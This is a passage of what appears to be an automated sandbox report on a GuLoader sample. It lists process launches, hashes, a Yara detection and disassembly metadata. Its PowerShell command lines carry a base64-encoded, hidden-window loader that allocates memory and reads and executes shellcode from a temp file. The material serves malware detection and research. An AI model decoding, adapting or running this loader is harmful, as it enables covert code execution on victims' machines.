AIAAiAHIAZQBpAG0AcABsAGkAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBmAG0AbgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAE8ATgBEAE4AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARABpAHMAcgBpACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFcAYQB5AGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARwBBAFMAVABSAE8AQwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAGUAZABkAGUAbAA3ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbABkAHMAcABpAG4AMQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBPAEMAQwBMACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbgBpAHYAZQByAHMAYQAyACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMATwBFAEIATwBSACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAE0AeQBvAHMAaQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBCAHUAawBzAHMAdABhAGMAIgAgAA0ACgBbAFMAYwByAGkAcAB0AGUAcgBlADEAXQA6ADoAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA==
                            Imagebase:0x12c0000
                            File size:430592 bytes
                            MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET
                            Yara matches:
                            • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000001C.00000002.900361754.00000000090B0000.00000040.00000010.sdmp, Author: Joe Security

                            General

                            Start time:17:21:51
                            Start date:21/01/2022
                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaQBzAG0AbQAgAE8AcABkAHIAaQBmAHQAcwAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAaQBuAHQAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAGEAYQBuAGQAYgBvAGwAZABoADYAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADMAPQAwADsADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA4AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAwACwAWwByAGUAZgBdACQAUwBjAHIAaQBwAHQAZQByAGUAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAE8AYgBsAGkAZwBhAHQAIABPAHAAcwBrAHIAZQByAGYAcgBzACAARABlAHMAbwByADYAIABHAFIAVQBQAFAARQBNAEUARAAgAEwASQBWAFMASwBWAEEAIABzAHQAZQByAHMAcwB0ACAAQQBjAHQAaQBvAG4AYQByADYAIABBAG4AYQByAHQAaAByAG8AMQAgAFcAYQBtAHAAYQBuAG8AYQBnAG0ANwAgAFIAZQBnAG4AdgBlAGoAcgA3ACAAawBvAGUAYgB0AGYAdQByAHoAZQAgAEMAbwByAG4AbABlAHMAcwAzACAAQgByAHkAZwBoAHUAcwBlAGEAIABOAGkAZwBoAHQAaQBtAGUAIABiAGEAYQBsAHQAYQAgAGMAeQBjAGwAbwAgAFMAaQBuAGQAcwAzACAAUABMAEEARABFAEwAQQBHAEUAIABTAGsAaQBuAG4AZQBiAGUANgAgAFoAdwBlAGMAawBzAGMAbwBwADkAIAB0AGUAdQB0AG8AbgBpAHoAIABBAHMAcwBlAHMAcwBvAHIAZQAgAHIAZQBuAGEAcwAgAFYARQBBAEwAIABQAFIAUwBJAEQAIABCAG8AdgBiAGwAIABBAFMAWQBNACAATQBJAFIATwBTAEwASQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwBwAGkAbgAiACAADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwARwByAHUAbgBkAC4AZABhAHQAIgANAAoAIwBHAGUAbgBiAHIAdQBnAHMANwAgAHAAaAB5AHQAIABjAG8AcAByAGkAIABkAGUAbQBvAG4AcwB0AHIAYQAgAE0AZQB0AGgAeQBsAHAAIABTAG8AYwBpAGEAbAAxACAAcwB0AGEAbABsAGkAbgBnACAAZABvAGMAawB3ACAAdQBuAGIAZQAgAEIAYQBsAGwAYQBzACAAVgBhAG4AZAB1AGQAcwBrAGkAIABEAG8AbQBzACAAVgBlAGwAcwBlAHMAbwB2AGUAcgAgAHAAcgBvAGwAbwBjAHUAdABvAHIAIABUAEkARABTAEsAIABKAHUAcgBpAHMAdAAgAFQAaQBsAHMAaQBrAHIAZQB0AHIAIABzAHAAYQByAGsAZQBuAGUAbQBhACAAYgBlAHMAdAByAG4AaQBuAGcAIABTAFQAWQBSAEkATgBHAFMAQQAgAEIAbwBsAHQAZQBkAGUAIABCAE8ARABZAEcAIABEAEUAUwBVAEwAIABQAG8AcwB0AGEAdQByAGkAYwB1ACAAVAByAHkAawBuADQAIABJAE4ARABJAFYASQBEAFUAQQAgAFAASQBOAEMARQBUAFQAIAANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA0AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBjAHIAaQBwAHQAZQByAGUAMgAsADIAMQA0ADcANAA4ADMANgA0ADgALAAxACwAMAAsADMALAAxADIAOAAsADAAKQANAAoAIwBTAHUAbQBwAHQAdQBvAHUAcwAgAE0ATwBEAEUAUgBFAFIARQBSACAARAByAHkAcwAgAEgAQQBMAFMAQgBSACAAbABlAGQAaQBnACAARgBsAGEAZwBlAHIAbQB1AHMAZQAgAEUARgBUAEUAUgAgAFMASwBKAE8AUgBUACAARgBsAGkAbgA5ACAAQgBlAG4AZQBmAGkAYwBlAG4AIABmAG8AcgBtACAARQBtAGIAcgBlAGEAYwBoAHMAdAAyACAAZAByAGUAagBuAGkAbgBnAHMAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHQAagByAGUAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADUAPQAwADsADQAKACMAbQBlAG4AcwB0AHIAdQBhAHQAZQAgAEEAZgBwAHIAdgBuAGkAbgBnAHMAMgAgAEwAdQBjAGkAbgBkADUAIABwAGUAdAByAGkAcwBhACAARwBlAG8AcABoAGEAZwBpAHMAIABQAGgAaQBsACAAQwB1AHQAdABsAGUANQAgAEEAawBrAG8AIABTAHQAYQBtADMAIABTAEwASQBCAEIARQBSAFMAQQBVACAAVgBlAHIAZABlAG4AcwA0ACAAUwBPAEwASQBEAEEAUgAgAEsAQQBSAFQAQQBVAEQASQBUAFIAIABNAE8AVQBSACAAYwBvAGMAawBzAHAAYQByACAAUwB0AGoAZQByAG4AZQBkADMAIABHAGUAbgBuAGUAbQA0ACAAYgBvAHIAdABrAGEAbABkACAAcwBkAGUAdABzAGkAbABrAGUAcwAgAHIAaQBnAG8AcgBpAHMAIABiAGEAbABkAHAAYQB0ACAASABWAEEATABGAEEATgBHACAAUwBhAHQAaQBuAGkAcwBlAHMAZwAgAGEAbgB0AGkAYwBsAGkAbQBhACAAbwB1AHQAcwB0AHIAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARAB1AGIAbABhAG4AdABzAGYAMwAiACAADQAKAFsAUwBjAHIAaQBwAHQAZQByAGUAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAFMAYwByAGkAcAB0AGUAcgBlADQALAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAyADYAMQAyADUALABbAHIAZQBmAF0AJABTAGMAcgBpAHAAdABlAHIAZQA1ACwAMAApAA0ACgAjAFAATwBVAEwAVABSAFkAIABBAHIAZQBuAHAAaABvAHQAbwBsADMAIABQAGEAcgBnACAAUgBlAGcAZQBsADUAIABMAGkAbgBpAHIAdQBuAGEAcwBoACAAVABvAHAAZgAzACAAZABpAGEAbABlAGsAdABpAGsAIABSAGUAcAByAG8AdgBhAGIAOAAgAEcAZQBhAHIAdgBsAGcAZQByAHMAIABVAEQARQBOAEUAVQBSAE8AUAAgAEMAQQBNAEIAVQBDAEEAUwBXACAAZgByAGEAZABtAG0AdABlAHcAZQAgAEYAYQByAHMAaQB1AG4AIABqAGUAcgBuAGIAYQBuAGUAbABpACAATABVAFYAUwBJAEcAQQBOAEcAIABBAGYAZABlAGwAaQBuACAAVABhAGIAZQBsAGwAZQAzACAAUAB1AHIAdgBpAGUAdwAzACAAUABsAGEAYwBlAGgAbwBsACAAYQByAHYAZQAgAFAAcgBpAGEAcAB1AGwAIABSAE8AUwBBAFUAUgAgAGQAaQBzAGMAIABTAFYAQQBSAEwAIABpAG4AZAB1AHMAIABTAE8AVQBCAEkAUwBFAFMAVAAgAHMAYwBoAG8AbwBsAHQAIABMAFIARQBSAEYATABVAEcAIABBAGcAcgBhAGYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEkAbQBiAGEAcgBrACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHIAZQBpAG0AcABsAGkAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBmAG0AbgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAE8ATgBEAE4AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARABpAHMAcgBpACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFcAYQB5AGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARwBBAFMAVABSAE8AQwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAGUAZABkAGUAbAA3ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbABkAHMAcABpAG4AMQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBPAEMAQwBMACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbgBpAHYAZQByAHMAYQAyACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMATwBFAEIATwBSACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAE0AeQBvAHMAaQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBCAHUAawBzAHMAdABhAGMAIgAgAA0ACgBbAFMAYwByAGkAcAB0AGUAcgBlADEAXQA6ADoAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA==
                            Imagebase:0x12c0000
                            File size:430592 bytes
                            MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET

                            General

                            Start time:17:22:12
                            Start date:21/01/2022
                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline
                            Imagebase:0x2c0000
                            File size:2170976 bytes
                            MD5 hash:350C52F71BDED7B99668585C15D70EEA
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET

                            General

                            Start time:17:22:16
                            Start date:21/01/2022
                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESADA2.tmp" "c:\Users\user\AppData\Local\Temp\CSCB8D22C72555343A48341CA7311A8A12.TMP"
                            Imagebase:0xb90000
                            File size:43176 bytes
                            MD5 hash:C09985AE74F0882F208D75DE27770DFA
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language

                            Disassembly

                            Reset < >

                              Executed Functions

                              Function 01256A88 Relevance: 1.7, Instructions: 1654COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 531fd5016e800b7778e8275c5e7bfa4cb48c687e16b6b5394a60d015d5ca45e4
                              • Instruction ID: 412942dd6eb314269f869b99bc5c350d30b2447998cbf92804fb146cb468b754
                              • Opcode Fuzzy Hash: 531fd5016e800b7778e8275c5e7bfa4cb48c687e16b6b5394a60d015d5ca45e4
                              • Instruction Fuzzy Hash: 8B035A38A041189FDB24DB60D895FEE7776FB88304F1084A9E50A6B794DF366D81CF92
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01256A98 Relevance: 1.6, Instructions: 1645COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 68e2de8ad7cca28011594e8699e6da3605186de662c4aea50a2fb987dbf6660e
                              • Instruction ID: 9a84d0d67b7b6923dd05809d3e60247ab431c8d90b2d345d023aa195a91a0dba
                              • Opcode Fuzzy Hash: 68e2de8ad7cca28011594e8699e6da3605186de662c4aea50a2fb987dbf6660e
                              • Instruction Fuzzy Hash: FD035A34A041189FDB24DB60D895FEE7776FB88304F1084A9E50A67798DF366D81CF92
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 077C1BB6 Relevance: .3, Instructions: 292COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.639879872.00000000077C0000.00000040.00000010.sdmp, Offset: 077C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_77c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 9f560225dafd823299e4761a4b49e09bdc8373bd14d0aab1678845949b397127
                              • Instruction ID: 3841acf994f1d4e0564632876317cad6921132cc1e65775d03589e6ddd1c8d4c
                              • Opcode Fuzzy Hash: 9f560225dafd823299e4761a4b49e09bdc8373bd14d0aab1678845949b397127
                              • Instruction Fuzzy Hash: 6DA1FBB43053049FDB28AB30E859B2A37A6EB85300F54897DE5068B3D6DF75DC42CB91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01251189 Relevance: 5.1, Strings: 4, Instructions: 60COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: Hram$Hram$c&m^${&m^
                              • API String ID: 0-1281586628
                              • Opcode ID: 1a402ce46aa13645a5442ffccccf7b24e66542c47c448ed1ad7f7ad2790c95a4
                              • Instruction ID: 40c2c029a64650113c827eba1a2501fd66d973a38bea5ce082a7a03609d4416a
                              • Opcode Fuzzy Hash: 1a402ce46aa13645a5442ffccccf7b24e66542c47c448ed1ad7f7ad2790c95a4
                              • Instruction Fuzzy Hash: 6911C4313146455BC711EB7DC8D0AEE7796AFC2244744892DE916CB242EF70AD0587D1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01259320 Relevance: 2.6, Strings: 2, Instructions: 94COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: $%]m$+]&m^
                              • API String ID: 0-1906349387
                              • Opcode ID: 721d1133976e63f08890c6d9c90ec1203f55a9a90df2030a3737aa7e7ffd50c3
                              • Instruction ID: 044c268f2397962a0eb45a66988af659c555d960572ea345365320d036669ea4
                              • Opcode Fuzzy Hash: 721d1133976e63f08890c6d9c90ec1203f55a9a90df2030a3737aa7e7ffd50c3
                              • Instruction Fuzzy Hash: 25310470A14205CFCF55DB78C4816EE7BF2EF88208F198869D506AB381DF749C46CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0125932F Relevance: 2.6, Strings: 2, Instructions: 80COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: $%]m$+]&m^
                              • API String ID: 0-1906349387
                              • Opcode ID: a476f2c9149fba221dbb3a235d53c8ee993d157c3a04a4a3eee705bbff5827e0
                              • Instruction ID: d398271ef67af46d217feb312cdea50145e435fe5facf2a28c8c58719b397cff
                              • Opcode Fuzzy Hash: a476f2c9149fba221dbb3a235d53c8ee993d157c3a04a4a3eee705bbff5827e0
                              • Instruction Fuzzy Hash: 5C319F30B10605CFCB59DB78C480AEE7AF2EFC8204F188869D406AB391DF749D45CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 012593B7 Relevance: 2.5, Strings: 2, Instructions: 47COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: $%]m$+]&m^
                              • API String ID: 0-1906349387
                              • Opcode ID: 2fe9fbf245af888e6b976cd57c58769c298aba690c75108b864974ffef0245de
                              • Instruction ID: 49881f4c0746a4f28d5e77a88c7a9d0800615546dd7226c84da9adb99047fad2
                              • Opcode Fuzzy Hash: 2fe9fbf245af888e6b976cd57c58769c298aba690c75108b864974ffef0245de
                              • Instruction Fuzzy Hash: 95117070A14605CFCB54DB78C5946AE7AF2EF84208F14886DD446EB340EB759D05CB91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 012593D2 Relevance: 2.5, Strings: 2, Instructions: 46COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: $%]m$+]&m^
                              • API String ID: 0-1906349387
                              • Opcode ID: 54cbdce697a1710c347e48e4502d52c16d542d3b2914d8e4ff538d42c8840618
                              • Instruction ID: 705ee71fe5231a57af80c52a91e39c8eb62870e39e10b0538d6d25638a434b1d
                              • Opcode Fuzzy Hash: 54cbdce697a1710c347e48e4502d52c16d542d3b2914d8e4ff538d42c8840618
                              • Instruction Fuzzy Hash: 7A118E70B006058FCB54EB78C594AAE7AF2EF88308F18886DD446EB340EF759D04CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01254610 Relevance: 1.7, Strings: 1, Instructions: 434COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: d
                              • API String ID: 0-2564639436
                              • Opcode ID: bb411a66325ea555d2a49d221fca070151427df8f3ccb5f55f72752abe9a969c
                              • Instruction ID: 5a4c08093ffa6aaf91735a9885bd4958a5d545c50913f23cfe8302c3fffb3fb6
                              • Opcode Fuzzy Hash: bb411a66325ea555d2a49d221fca070151427df8f3ccb5f55f72752abe9a969c
                              • Instruction Fuzzy Hash: 99027834A006468FD754DF68C4C096AF7F6EF88314B15CA69D95A9B366E730FC82CB90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0125A850 Relevance: 1.4, Strings: 1, Instructions: 138COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 8^am
                              • API String ID: 0-1025264619
                              • Opcode ID: 3b6f60bcf75c0b6a70b8a251812e4380f1f003f606b49deb0475f2cc41a132fa
                              • Instruction ID: 5d9ec37eb1562f0b8fedc0225dc554739cc7bfbd7123cba1f31b3acd186cbe55
                              • Opcode Fuzzy Hash: 3b6f60bcf75c0b6a70b8a251812e4380f1f003f606b49deb0475f2cc41a132fa
                              • Instruction Fuzzy Hash: F24124397186129FEB189B38D4A1B7A77A6EFC4319F16422DE6068B384DF759C0287D0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0125A860 Relevance: 1.3, Strings: 1, Instructions: 48COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 8^am
                              • API String ID: 0-1025264619
                              • Opcode ID: 6477f692cd2ab88c536de5d864607478c2fdc5773c10364450be8590e3030541
                              • Instruction ID: 6527a419e93aad7468e6b17c1dd57d59065619c93e0b631e1afdc6934d5412be
                              • Opcode Fuzzy Hash: 6477f692cd2ab88c536de5d864607478c2fdc5773c10364450be8590e3030541
                              • Instruction Fuzzy Hash: 3AF081327186255FE7248AACA88496AB3A9EBC8665711013AE609C7640DB72DC0287D0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01254570 Relevance: 1.3, Strings: 1, Instructions: 45COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: $,am
                              • API String ID: 0-1889935346
                              • Opcode ID: 6bddc1283067f9b3fa9a01f3a0e05d2f5c443fc0d70e69369b76383d73905779
                              • Instruction ID: 7e220e4d9bf28f4a90a6ee188c9638addba84c416ee7fe7796a703f764af16ea
                              • Opcode Fuzzy Hash: 6bddc1283067f9b3fa9a01f3a0e05d2f5c443fc0d70e69369b76383d73905779
                              • Instruction Fuzzy Hash: A8017BB62082418FC753AB38E4C05E97BA1EFD2318B470492E109CB262EF305C42C752
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 01254590 Relevance: 1.3, Strings: 1, Instructions: 39COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.632762859.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_1250000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: $,am
